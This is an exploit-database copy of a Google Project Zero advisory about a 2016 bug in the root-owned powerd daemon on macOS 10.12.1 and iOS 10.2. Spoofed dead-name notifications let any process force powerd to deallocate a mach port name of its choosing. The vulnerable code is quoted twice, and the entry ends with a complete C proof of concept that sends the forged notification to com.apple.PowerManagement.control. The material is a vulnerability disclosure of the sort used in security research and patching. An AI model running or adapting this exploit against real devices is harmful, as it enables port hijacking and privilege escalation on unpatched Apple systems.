Apple macOS 10.12.1 iOS 10.2 - powerd Arbitrary Port Replacement

2016-12-22T00:00:00
ID EXPLOITPACK:384D84FF1190AC4F1695DD169D298BB6
Type exploitpack
Reporter Google Security Research
Modified 2016-12-22T00:00:00

Description

Apple macOS 10.12.1 iOS 10.2 - powerd Arbitrary Port Replacement

                                        
                                            /*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=976

powerd (running as root) hosts the com.apple.PowerManagement.control mach service.

It checks in with launchd to get a server port and then wraps that in a CFPort:

  pmServerMachPort = _SC_CFMachPortCreateWithPort(
                          "PowerManagement",
                          serverPort, 
                          mig_server_callback, 
                          &context);

It also asks to receive dead name notifications for other ports on that same server port:

  mach_port_request_notification(
              mach_task_self(),           // task
              notify_port_in,                 // port that will die
              MACH_NOTIFY_DEAD_NAME,      // msgid
              1,                          // make-send count
              CFMachPortGetPort(pmServerMachPort),        // notify port
              MACH_MSG_TYPE_MAKE_SEND_ONCE,               // notifyPoly
              &oldNotify);                                // previous

mig_server_callback is called off of the mach port run loop source to handle new messages on pmServerMachPort:

  static void
  mig_server_callback(CFMachPortRef port, void *msg, CFIndex size, void *info)
  {
      mig_reply_error_t * bufRequest = msg;
      mig_reply_error_t * bufReply = CFAllocatorAllocate(
          NULL, _powermanagement_subsystem.maxsize, 0);
      mach_msg_return_t   mr;
      int                 options;

      __MACH_PORT_DEBUG(true, "mig_server_callback", serverPort);
      
      /* we have a request message */
      (void) pm_mig_demux(&bufRequest->Head, &bufReply->Head);

This passes the raw message to pm_mig_demux:

  static boolean_t 
  pm_mig_demux(
      mach_msg_header_t * request,
      mach_msg_header_t * reply)
  {
      mach_dead_name_notification_t *deadRequest = 
                      (mach_dead_name_notification_t *)request;
      boolean_t processed = FALSE;

      processed = powermanagement_server(request, reply);

      if (processed) 
          return true;
      
      if (MACH_NOTIFY_DEAD_NAME == request->msgh_id) 
      {
          __MACH_PORT_DEBUG(true, "pm_mig_demux: Dead name port should have 1+ send right(s)", deadRequest->not_port);

          PMConnectionHandleDeadName(deadRequest->not_port);

          __MACH_PORT_DEBUG(true, "pm_mig_demux: Deallocating dead name port", deadRequest->not_port);
          mach_port_deallocate(mach_task_self(), deadRequest->not_port);
          
          reply->msgh_bits            = 0;
          reply->msgh_remote_port     = MACH_PORT_NULL;

          return TRUE;
      }

This passes the message to the MIG-generated code for the powermanagement subsystem, if that fails (because the msgh_id doesn't
match the subsystem for example) then this compares the message's msgh_id field to MACH_NOTIFY_DEAD_NAME.

deadRequest is the message cast to a mach_dead_name_notification_t which is defined like this in mach/notify.h:

  typedef struct {
      mach_msg_header_t   not_header;
      NDR_record_t        NDR;
      mach_port_name_t not_port;/* MACH_MSG_TYPE_PORT_NAME */
      mach_msg_format_0_trailer_t trailer;
  } mach_dead_name_notification_t;

This is a simple message, not a complex one. not_port is just a completely controlled integer which in this case will get passed directly to
mach_port_deallocate.

The powerd code expects that only the kernel will send a MACH_NOTIFY_DEAD_NAME message but actually anyone can send this and force the privileged process
to drop a reference on a controlled mach port name :)

Multiplexing these two things (notifications and a mach service) onto the same port isn't possible to do safely as the kernel doesn't prevent
user->user spoofing of notification messages - usually this wouldn't be a problem as attackers shouldn't have access to the notification port.

You could use this bug to replace a mach port name in powerd (eg the bootstrap port, an IOService port etc) with a one for which the attacker holds the receieve right.

Since there's still no KDK for 10.12.1 you can test this by attaching to powerd in userspace and setting a breakpoint in pm_mig_demux at the
mach_port_deallocate call and you'll see the controlled value in rsi.

Tested on MacBookAir5,2 MacOS Sierra 10.12.1 (16B2555)
 */

// ianbeer

#if 0
MacOS/iOS arbitrary port replacement in powerd

powerd (running as root) hosts the com.apple.PowerManagement.control mach service.

It checks in with launchd to get a server port and then wraps that in a CFPort:

	pmServerMachPort = _SC_CFMachPortCreateWithPort(
													"PowerManagement",
													serverPort, 
													mig_server_callback, 
													&context);

It also asks to receive dead name notifications for other ports on that same server port:

	mach_port_request_notification(
							mach_task_self(),           // task
							notify_port_in,                 // port that will die
							MACH_NOTIFY_DEAD_NAME,      // msgid
							1,                          // make-send count
							CFMachPortGetPort(pmServerMachPort),        // notify port
							MACH_MSG_TYPE_MAKE_SEND_ONCE,               // notifyPoly
							&oldNotify);                                // previous

mig_server_callback is called off of the mach port run loop source to handle new messages on pmServerMachPort:

	static void
	mig_server_callback(CFMachPortRef port, void *msg, CFIndex size, void *info)
	{
			mig_reply_error_t * bufRequest = msg;
			mig_reply_error_t * bufReply = CFAllocatorAllocate(
					NULL, _powermanagement_subsystem.maxsize, 0);
			mach_msg_return_t   mr;
			int                 options;

			__MACH_PORT_DEBUG(true, "mig_server_callback", serverPort);
			
			/* we have a request message */
			(void) pm_mig_demux(&bufRequest->Head, &bufReply->Head);

This passes the raw message to pm_mig_demux:

	static boolean_t 
	pm_mig_demux(
			mach_msg_header_t * request,
			mach_msg_header_t * reply)
	{
			mach_dead_name_notification_t *deadRequest = 
											(mach_dead_name_notification_t *)request;
			boolean_t processed = FALSE;

			processed = powermanagement_server(request, reply);

			if (processed) 
					return true;
			
			if (MACH_NOTIFY_DEAD_NAME == request->msgh_id) 
			{
					__MACH_PORT_DEBUG(true, "pm_mig_demux: Dead name port should have 1+ send right(s)", deadRequest->not_port);

					PMConnectionHandleDeadName(deadRequest->not_port);

					__MACH_PORT_DEBUG(true, "pm_mig_demux: Deallocating dead name port", deadRequest->not_port);
					mach_port_deallocate(mach_task_self(), deadRequest->not_port);
					
					reply->msgh_bits            = 0;
					reply->msgh_remote_port     = MACH_PORT_NULL;

					return TRUE;
			}

This passes the message to the MIG-generated code for the powermanagement subsystem, if that fails (because the msgh_id doesn't
match the subsystem for example) then this compares the message's msgh_id field to MACH_NOTIFY_DEAD_NAME.

deadRequest is the message cast to a mach_dead_name_notification_t which is defined like this in mach/notify.h:

	typedef struct {
			mach_msg_header_t   not_header;
			NDR_record_t        NDR;
			mach_port_name_t not_port;/* MACH_MSG_TYPE_PORT_NAME */
			mach_msg_format_0_trailer_t trailer;
	} mach_dead_name_notification_t;

This is a simple message, not a complex one. not_port is just a completely controlled integer which in this case will get passed directly to
mach_port_deallocate.

The powerd code expects that only the kernel will send a MACH_NOTIFY_DEAD_NAME message but actually anyone can send this and force the privileged process
to drop a reference on a controlled mach port name :)

Multiplexing these two things (notifications and a mach service) onto the same port isn't possible to do safely as the kernel doesn't prevent
user->user spoofing of notification messages - usually this wouldn't be a problem as attackers shouldn't have access to the notification port.

You could use this bug to replace a mach port name in powerd (eg the bootstrap port, an IOService port etc) with a one for which the attacker holds the receieve right.

Since there's still no KDK for 10.12.1 you can test this by attaching to powerd in userspace and setting a breakpoint in pm_mig_demux at the
mach_port_deallocate call and you'll see the controlled value in rsi.

Tested on MacBookAir5,2 MacOS Sierra 10.12.1 (16B2555)
#endif

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#include <servers/bootstrap.h>
#include <mach/mach.h>
#include <mach/ndr.h>

char* service_name = "com.apple.PowerManagement.control";

struct notification_msg {
    mach_msg_header_t   not_header;
    NDR_record_t        NDR;
    mach_port_name_t not_port;
};

mach_port_t lookup(char* name) {
  mach_port_t service_port = MACH_PORT_NULL;
  kern_return_t err = bootstrap_look_up(bootstrap_port, name, &service_port);
  if(err != KERN_SUCCESS){
    printf("unable to look up %s\n", name);
    return MACH_PORT_NULL;
  }
  
  return service_port;
}

int main() {
  kern_return_t err;

  mach_port_t service_port = lookup(service_name);

  mach_port_name_t target_port = 0x1234; // the name of the port in the target namespace to destroy

  printf("%d\n", getpid());
  printf("service port: %x\n", service_port);

	struct notification_msg not = {0};

  not.not_header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
  not.not_header.msgh_size = sizeof(struct notification_msg);
  not.not_header.msgh_remote_port = service_port;
  not.not_header.msgh_local_port = MACH_PORT_NULL;
  not.not_header.msgh_id = 0110; // MACH_NOTIFY_DEAD_NAME

	not.NDR = NDR_record;

	not.not_port = target_port;

  // send the fake notification message
  err = mach_msg(&not.not_header,
                 MACH_SEND_MSG|MACH_MSG_OPTION_NONE,
                 (mach_msg_size_t)sizeof(struct notification_msg),
                 0,
                 MACH_PORT_NULL,
                 MACH_MSG_TIMEOUT_NONE,
                 MACH_PORT_NULL); 
  printf("fake notification message: %s\n", mach_error_string(err));
  
  return 0;
}